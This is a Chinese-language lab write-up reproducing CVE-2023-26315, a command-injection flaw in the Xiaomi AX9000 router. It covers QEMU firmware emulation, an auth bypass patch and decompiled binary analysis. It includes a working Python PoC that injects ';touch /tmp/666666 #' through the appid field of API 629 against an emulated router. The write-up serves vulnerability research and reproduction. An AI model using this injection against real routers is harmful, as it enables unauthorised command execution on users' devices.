本文参考 winmt 师傅的文章,复现其挖掘的小米 AX9000 路由器命令执行漏洞。本文大幅简化了分析流程,梳理并总结了所需工具与操作指令,旨在帮助读者快速完成该路由器的qemu仿真与漏洞复现。
国家信息安全漏洞共享平台
CVE 记录:CVE-2023-26315
固件下载地址:固件下载
qemu-ARM64内核环境下载地址: qemu搭建ARM64环境 | XiDP
拆解固件过程如下
完成之后就可以启动我们已经配置好的qemu虚拟机(需要手动配置ip地址)
设置之后尝试ping一下主机来验证ip地址来查看是否设置成功
为了能够跳过小米路由器的初始化这里需要patch其中的文件
patch的文件为/squashfs-root/usr/sbin/sysapihttpd
找到如图所示部分进行修改将 CBZ 修改为 CBNZ

patch之后替换掉原本的文件随后使用scp传入qemu虚拟机中
使用这个方法会出现一个问题,明明使用root用户传输密码是对的,但是它就是显示不对,这是并不是密码的缘故而是ssh禁止了使用root用户登入
我们需要做一个修改,否则后续依旧只能使用普通用户来传输很麻烦
在root用户下使用下面指令修改ssh配置文件

修改完毕之后重启ssh服务
然后再次使用上述scp指令就可以进行传输了
之后就可以准备启动httpd服务
执行下面几个指令(这里是按照wimmt师傅文章中的内容做了一个总结,只需要按照顺序复制粘贴到qemu虚拟机中就可以成功启动小米路由器的仿真)
执行之后就可以访问 192.168.122.130
它会自动定位到这里路由器的初始化配置页面

因为初始化部分和硬件相关所以我们需要想个办法绕过
也就是执行下面这两个指令
设置好之后再次访问就可以绕过初始化配置,直接跳转到登入页面

注意这里是重新访问,不是刷新界面

由于我们复现的CVE-2023-26315是一个授权认证后的漏洞,因此我们需要设置登录密码以登录进后台拿到token的值
所以下面我们需要尝试登入它
阅读它的web页面源码来查看它的密码的加密逻辑是什么
F12之后查看web内容,分别在440行和1722行可以看到


由此可以看出,我们的用户名是固定为admin,而密码是通过一个叫 oldPwd()函数 加密之后的结果。
这个 oldPwd()函数 将用户提交的密码和一个固定的key = a2ffa5c9be07488bbb04a3a47d3c5f6a组合之后使用sha1哈希进行一个加密
下面我们假设我们设置的用户密码为 xidp
那么我们需要给account.common.admin这个uci配置为sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a)

那么我们使用下面指令来设置密码

下面就可以成功使用密码xidp登入了

也是进入到这个界面发现这个小米路由器AX9000的造型看起来有点酷

本来想淘宝买一个看看能不能实机打一下,淘宝看了一下价格感觉还是算了o(╥﹏╥)o

这里先简单使用winmt师傅的PoC来演示漏洞效果,随后再介绍漏洞成因
这里先对着这个小米路由器的配置界面抓个包,得到我们现在的token值

抓包得到的内容如下
可以得知我们的token=26a8470f16d4a0c8a03a8e503549b3ee
然后qemu虚拟机启动这两个服务
接着编写我们的PoC,如下所示(我本来是想拿shell的,但是尝试几次之后都没有连接上,不知道什么原因,为了展示命令执行成功,我将指令换成了创建文件666666)
接着运行我们的脚本

到这里就算是成功复现了,我们可以直接使用指令退出我们的qemu虚拟机了
复现成功之后我们再来看我们这命令执行漏洞具体产生的原因是什么
小米路由器的前端是使用Lua来编写的,而且其中存放的Lua文件并不是源码而是已经编译后的二进制文件,同时小米对Lua的解释器做了魔改。
但是没有关系github上已经有了专门针对小米路由器Lua的反编译工具: NyaMisty/unluac_miwifi
由于需要反编译的数量比较多,所以我们简单写一个脚本来批量反编译
修改脚本
下面我们打开反编译的 /usr/lib/lua/luci/controller/api/xqdatacenter.lua
可以看到大致如下内容
当然这样的可读性依旧不是很高,我们可以使用ai工具来帮助我们增加可读性
ai解析过后的内容大致如下
分析结果可知/api/xqdatacenter/request这个API端点需要用户登录认证,并且用户名被设置为 admin,sysauth_authenticator = "jsonauth"即当token不存在或错误时,通过authenticator.jsonauth函数进行登录验证
对于具体的入口来说,定义entry{}内的第五个参数flag位为0x01(或&0x01=1)代表不需要鉴权,这里/api/xqdatacenter/request这个入口没有设置flag位,因此表示需要鉴权。
下面来看 tunnelRequest 这个函数
函数主要作用是会对传入payload字段内的JSON数据用binaryBase64Enc函数进行Base64编码处理,然后拼接入THRIFT_TUNNEL_TO_DATACENTER所指代的命令中并执行
关键问题在于使用formvalue_unsafe函数获取payload字段内容,未过滤危险字符。
而formvalue函数中是有用hackCheck过滤危险字符的。这里可能是开发者考虑到Json格式的数据当中可能会用到某些字符所以不能直接过滤,但也没有进一步去做针对于Json的危险字符过滤,给了我们可趁之机。
在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义
也就是最后执行的东西是 thrifttunnel 0 base64(raw_payload)
所以下面我们就来看看这个/usr/sbin/thriftunnel二进制文件
这里我们直接进入这个叫sub_AB08的函数,它是thriftunnel的主要程序内容
也就是说
它检查程序调用参数是不是三个
显然我们的 thrifttunnel 0 base64_string 符合要求
sub_1B6FC函数的作用是复制
它将 *(a2 + 16) 也就是 argv[2] 的内容复制到 11 中,说通俗点就是将 base64_string 的内容复制到 v11 中
这里先判断了一下 v11 是否为空,不为空就会进入 if,依旧复制 base64_string 的内容到 v13 中,然后作为第一个参数被传入sub_1B9B0函数中,而sub_1B9B0函数的第二个参数v11此时是空串
这里不再进入 sub_1B9B0函数 继续讲解,它的逻辑较为简单,结合ai分析可以知道它的功能大致就是 解开base64编码,然后将结果存放在 v12 中
接下来是个 switch
显然我们传入的 argv[1] = 0, 所以我们会进入 case 0 中
也就是随后会执行 sub_1BAE0函数
而这里的 v12[0] 按照我们的分析,它应该是解码后的字符串,也就是我们用户输入的命令
在sub_1BAE0函数中,创建了socket,传入的参数是Json字符串,很容易判断出此处会将payload字段的Json数据发送给本地127.0.0.1的9090端口

/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理(这里笔者有一个疑问,不知道winmt师傅是如何发现这个 datacenter 程序监听9090端口,难不成是把 sbin 文件夹下所有文件都分析了一遍吗?)
从下图图示部分可以看到 datacenter 程序的main函数中创建了非阻塞服务器实例,监听9090端口

下面进入到datacenter的constructAPIMappingTable()函数
在里面可以看到分别执行了三个不同类的sConstructMappingTable()函数

这三个函数都是API路由映射表构建函数,用于建立API编号 → 处理函数的映射关系,实现请求的路由分发
有一些api是直接在datacenter中被处理的,有些是被进一步转发到了/usr/sbin/indexservice(9088端口)处理,另外一些则是被转发到了/usr/sbin/plugincenter(9091端口)中进一步处理。
下面我们之间定位到漏洞所在的api,在datacenter::PluginApiCollection::sConstructMappingTable中,当api为629的时候,对应的handler是callPluginCenter

进入 callPluginCenter 看一下它的功能
分析可知它的主要功能是接收JSON格式的请求数据,通过Thrift协议转发到plugincenter服务,获取服务端响应并返回
进入其中的 sCallPluginCenter 函数可以看出它将数据转发给了本地的9091端口

下面来看 DataCenterHandler::request函数
其中调用了 APIMapping::APIMapping 而这个函数里面就调用了我们之前分析的 constructAPIMappingTable函数
调用APIMapping::APIMapping函数建立好上述的映射关系表后 DataCenterHandler::request函数 又调用了 APIMapping::redirectRequest函数。
APIMapping::redirectRequest函数是我们需要重点分析的内容,它的主要作用简而言之就是解析请求中的API编号,在STL map中查找对应的处理函数,然后通过函数指针动态调用

前面我们分析过了,当api为629时,传入的payload字段的数据会被转发给plugincenter程序处理
所以下面我们来分析 /usr/sbin/plugincenter程序
直接在plugincenter中找到 datacenter::PluginApiMappingExtendCollection::sConstructMappingTable函数
同样这个函数也是通过map建立api编号和对应handler函数的映射关系

可以得知当api编号为629的时候,会执行parseGetIdForVendor函数
进入parseGetIdForVendor函数中
会将传入的Json数据内的appid字段作为参数传递到PluginApi::getIdForVendor函数中

下面来看 PluginApi::getIdForVendor函数
分析可以得知这个函数的主要作用应该是下面三点
我们来一步步分析:
在栈上构造一个AppAccountManager对象,用于验证应用ID的有效性
检查传入的appid是否合法,如果不合法将会进入if中
但是如果不合法则不会进入if中,但是很奇怪,尽管不合法也没有退出该函数阻止后面的命令执行,甚至没有对该appid的内容做一个过滤,而是做了一个日志记录,创建了一个错误响应,但是就是没有return,所以依旧会执行下面的代码
就在下面的代码中有这样一段代码
这句 std::operator+<char>("matool --method idForVendor --params ", a1); (这里我猜测实际应该是 std::operator+<char>("matool...", a1, v13);而v13应该是被反编译的时候优化掉了,否则解释不了为什么会对v13产生影响)将 v13 变成了 "matool --method idForVendor --params " + a1 而 a1 则是用户可控的 appid
sCallSystem是一个封装的函数,用于执行命令,其中不是使用system函数而是使用popen函数来完成命令
但是 sCallSystem 并没有实现对命令参数安全性进行判断,也没有对不合理的指令做过滤,因此最终会导致用户可以控制 appid 来实现命令执行漏洞
最后做个小结吧。在复现漏洞的过程中,我发现其中涉及的 C++ 网络编程、红黑树等数据结构,都是自己目前的知识盲区,阅读时感到有些吃力。即便借助 AI 工具辅助,仍有不少细节未能完全理解,这也导致漏洞原理分析部分存在疏漏,没能在文章中完全的表达清晰。同时,winmt 师傅的文章里还有不少让我困惑的地方。比如已知 sub_1BAE0 函数会向本地 127.0.0.1:9090 发送数据,但仍不清楚如何确认 datacenter 程序正监听该端口。在惊叹于 winmt 师傅深厚的漏洞挖掘功底时,我也清晰意识到自身的短板,由于缺乏系统的学习,只能在复现过程中边摸索边补漏。但多次的漏洞复现也让我更明确了后续努力的方向,希望通过持续积累逐步提升自己的漏洞挖掘能力。
参考
[原创] 小米AX9000路由器CVE-2023-26315漏洞挖掘-智能设备-看雪-安全社区|安全招聘|kanxue.com
[原创] 小米路由器固件仿真模拟方案-智能设备-看雪论坛-安全社区|非营利性质技术交流社区
binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin
cd _miwifi_ra70_firmware_cc424_1.0.168.bin.extracted
ubireader_extract_images 2B4.ubi // 得到的文件会放入在ubifs-root的2B4.ubi文件夹中(不执行这个指令是没有这个文件夹的)
cd ubifs-root
cd 2B4.ubi
binwalk -Me img-870537086_vol-ubi_rootfs.ubifs
cd _img-870537086_vol-ubi_rootfs.ubifs.extracted
binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin
cd _miwifi_ra70_firmware_cc424_1.0.168.bin.extracted
ubireader_extract_images 2B4.ubi // 得到的文件会放入在ubifs-root的2B4.ubi文件夹中(不执行这个指令是没有这个文件夹的)
cd ubifs-root
cd 2B4.ubi
binwalk -Me img-870537086_vol-ubi_rootfs.ubifs
cd _img-870537086_vol-ubi_rootfs.ubifs.extracted
// 使用./qemu-start.sh来启动qemu虚拟机
// 启动完成之后登入root用户,密码为xidp
// 之后按照下面指令配置ip地址
ip add add 192.168.122.130/24 dev enp0s1
ip link set enp0s1 up
ip route add default via 192.168.122.1
// 使用./qemu-start.sh来启动qemu虚拟机
// 启动完成之后登入root用户,密码为xidp
// 之后按照下面指令配置ip地址
ip add add 192.168.122.130/24 dev enp0s1
ip link set enp0s1 up
ip route add default via 192.168.122.1
// 在Ubuntu物理机中压缩并传输
tar -czf squashfs-root.tar.gz ./squashfs-root/
scp -o HostKeyAlgorithms=ssh-rsa squashfs-root.tar.gz root@192.168.122.130:/root/
// 下面在qemu虚拟机中解压
tar -xzf squashfs-root.tar.gz
// 在Ubuntu物理机中压缩并传输
tar -czf squashfs-root.tar.gz ./squashfs-root/
scp -o HostKeyAlgorithms=ssh-rsa squashfs-root.tar.gz root@192.168.122.130:/root/
// 下面在qemu虚拟机中解压
tar -xzf squashfs-root.tar.gz
nano /etc/ssh/sshd_config
nano /etc/ssh/sshd_config
systemctl restart sshd
cd /root/squashfs-root
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
mkdir -p /var/run
touch /var/run/ubus.sock
mkdir -p /var/lock
touch /var/lock/procd_sysapihttpd.lock
/sbin/procd &
sleep 3
/sbin/ubusd &
sleep 2
echo "WAUST-8WAUDT" > /etc/TZ
/etc/init.d/sysapihttpd start
cd /root/squashfs-root
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
mkdir -p /var/run
touch /var/run/ubus.sock
mkdir -p /var/lock
touch /var/lock/procd_sysapihttpd.lock
/sbin/procd &
sleep 3
/sbin/ubusd &
sleep 2
echo "WAUST-8WAUDT" > /etc/TZ
/etc/init.d/sysapihttpd start
uci set xiaoqiang.common.INITTED=1
uci commit
// 输出验证是否成功写入
uci show | grep INITTED
uci set xiaoqiang.common.INITTED=1
uci commit
// 输出验证是否成功写入
uci show | grep INITTED
真实密码 = sha1(用户设置的密码 + a2ffa5c9be07488bbb04a3a47d3c5f6a)
真实密码 = sha1(用户设置的密码 + a2ffa5c9be07488bbb04a3a47d3c5f6a)
sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a) = 32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a) = 32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
uci set account.common.admin=32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
uci commit
uci show | grep admin
uci set account.common.admin=32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
uci commit
uci show | grep admin
GET /cgi-bin/luci/;stok=26a8470f16d4a0c8a03a8e503549b3ee/web/home HTTP/1.1
Host: 192.168.122.130
Cookie: __guid=82176214.4122683288115647000.1762159952222.404; monitor_count=6; psp=admin|||2|||0
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
GET /cgi-bin/luci/;stok=26a8470f16d4a0c8a03a8e503549b3ee/web/home HTTP/1.1
Host: 192.168.122.130
Cookie: __guid=82176214.4122683288115647000.1762159952222.404; monitor_count=6; psp=admin|||2|||0
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
/usr/sbin/datacenter &
/usr/sbin/plugincenter &
/usr/sbin/datacenter &
/usr/sbin/plugincenter &
import requests
server_ip = "192.168.122.130"
token = "26a8470f16d4a0c8a03a8e503549b3ee"
test_cmd = ";touch /tmp/666666 #"
res = requests.post(
"http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token),
data={'payload':'{"api":629, "appid":"' + test_cmd + '"}'}
)
print("响应:", res.text)
import requests
server_ip = "192.168.122.130"
token = "26a8470f16d4a0c8a03a8e503549b3ee"
test_cmd = ";touch /tmp/666666 #"
res = requests.post(
"http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token),
data={'payload':'{"api":629, "appid":"' + test_cmd + '"}'}
)
print("响应:", res.text)
shutdown -h now
import os
source_base = "/home/xidp/myfile/iot/xiaomi_ax9000/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root/usr/"
output_base = "/home/xidp/myfile/iot/xiaomi_ax9000/luac"
os.makedirs(output_base, exist_ok=True)
res = os.popen(f"find {source_base} -name *.lua").readlines()
for i in range(0, len(res)):
source_path = res[i].strip("\n")
relative_path = os.path.relpath(source_path, source_base)
output_path = os.path.join(output_base, relative_path + ".dis")
os.makedirs(os.path.dirname(output_path), exist_ok=True)
cmd = f"java -jar /home/xidp/tools/unluac_miwifi/unluac.jar {source_path} > {output_path}"
print(f"反编译: {source_path} -> {output_path}")
os.system(cmd)
import os
source_base = "/home/xidp/myfile/iot/xiaomi_ax9000/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root/usr/"
output_base = "/home/xidp/myfile/iot/xiaomi_ax9000/luac"
os.makedirs(output_base, exist_ok=True)
res = os.popen(f"find {source_base} -name *.lua").readlines()
for i in range(0, len(res)):
source_path = res[i].strip("\n")
relative_path = os.path.relpath(source_path, source_base)
output_path = os.path.join(output_base, relative_path + ".dis")
os.makedirs(os.path.dirname(output_path), exist_ok=True)
cmd = f"java -jar /home/xidp/tools/unluac_miwifi/unluac.jar {source_path} > {output_path}"
print(f"反编译: {source_path} -> {output_path}")
os.system(cmd)
__int64 __fastcall sub_AB08(int a1, __int64 a2)
{
__int64 v3;
const char *v4;
__int64 v5;
int v6;
int v7;
const char *v8;
__int64 v10;
_QWORD v11[4];
_QWORD v12[4];
_BYTE v13[32];
if ( a1 == 3 )
{
sub_1B6FC(v11, *(a2 + 16));
sub_1B6FC(&v10 + 104, "");
if ( v11[1] )
{
sub_1B6FC(v13, *(a2 + 16));
sub_1B9B0(v13, v12);
std::string::_M_dispose(v13);
}
switch ( atoi(*(a2 + 8)) )
{
case 0:
v3 = sub_1BAE0(v12[0]);
goto LABEL_31;
case 1:
v3 = sub_1BE38(v12[0]);
goto LABEL_31;
case 2:
v4 = v12[0];
uloop_init();
v5 = ubus_connect(0LL);
qword_3E1D0 = v5;
if ( v5 )
{
uloop_fd_add(v5 + 80, 9LL);
if ( ubus_lookup_id(qword_3E1D0, "smartcontroller", &dword_3E1D8) )
{
v8 = "{\"code\":-100,\"msg\":\"connect failed\"}";
}
else
{
blob_buf_init(&qword_3E1E0, 0LL);
v6 = strlen(v4);
blobmsg_add_field(&qword_3E1E0, 3LL, "request", v4, (v6 + 1));
v7 = ubus_invoke_fd(
qword_3E1D0,
dword_3E1D8,
"process_request",
qword_3E1E0,
sub_1B678,
0LL,
5000LL,
0xFFFFFFFFLL);
v8 = 0LL;
if ( !byte_3E128 )
{
switch ( v7 )
{
case 7:
v8 = "{\"code\":-101,\"msg\":\"request server timeout\"}";
break;
case 2:
v8 = "{\"code\":-102,\"msg\":\"invalid argument\"}";
break;
case 5:
v8 = "{\"code\":-103,\"msg\":\"server response no data\"}";
break;
default:
v8 = "{\"code\":-104,\"msg\":\"unknown error\"}";
break;
}
}
}
if ( qword_3E1D0 )
ubus_free();
}
else
{
v8 = "{\"code\":-100,\"msg\":\"connect failed\"}";
}
uloop_done();
if ( v8 )
fputs(v8, stdout);
break;
case 3:
v3 = sub_1CBA8();
goto LABEL_31;
case 4:
v3 = sub_1CEBC();
goto LABEL_31;
case 5:
v3 = sub_1D1D0();
goto LABEL_31;
case 6:
v3 = sub_1C4E8(v12[0]);
goto LABEL_31;
case 7:
v3 = sub_1C840(v12[0]);
goto LABEL_31;
case 8:
v3 = sub_1D4E4(v12[0]);
LABEL_31:
std::operator<<<std::char_traits<char>>(&std::cout, v3);
break;
default:
break;
}
std::string::_M_dispose(v12);
std::string::_M_dispose(v11);
}
return 0LL;
}
__int64 __fastcall sub_AB08(int a1, __int64 a2)
{
__int64 v3;
const char *v4;
__int64 v5;
int v6;
int v7;
const char *v8;
__int64 v10;
_QWORD v11[4];
_QWORD v12[4];
_BYTE v13[32];
if ( a1 == 3 )
{
sub_1B6FC(v11, *(a2 + 16));
sub_1B6FC(&v10 + 104, "");
if ( v11[1] )
{
sub_1B6FC(v13, *(a2 + 16));
sub_1B9B0(v13, v12);
std::string::_M_dispose(v13);
}
switch ( atoi(*(a2 + 8)) )
{
case 0:
v3 = sub_1BAE0(v12[0]);
goto LABEL_31;
case 1:
v3 = sub_1BE38(v12[0]);
goto LABEL_31;
case 2:
v4 = v12[0];
uloop_init();
v5 = ubus_connect(0LL);
qword_3E1D0 = v5;
if ( v5 )
{
uloop_fd_add(v5 + 80, 9LL);
if ( ubus_lookup_id(qword_3E1D0, "smartcontroller", &dword_3E1D8) )
{
v8 = "{\"code\":-100,\"msg\":\"connect failed\"}";
}
else
{
blob_buf_init(&qword_3E1E0, 0LL);
v6 = strlen(v4);
blobmsg_add_field(&qword_3E1E0, 3LL, "request", v4, (v6 + 1));
v7 = ubus_invoke_fd(
qword_3E1D0,
dword_3E1D8,
"process_request",
qword_3E1E0,
sub_1B678,
0LL,
5000LL,
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!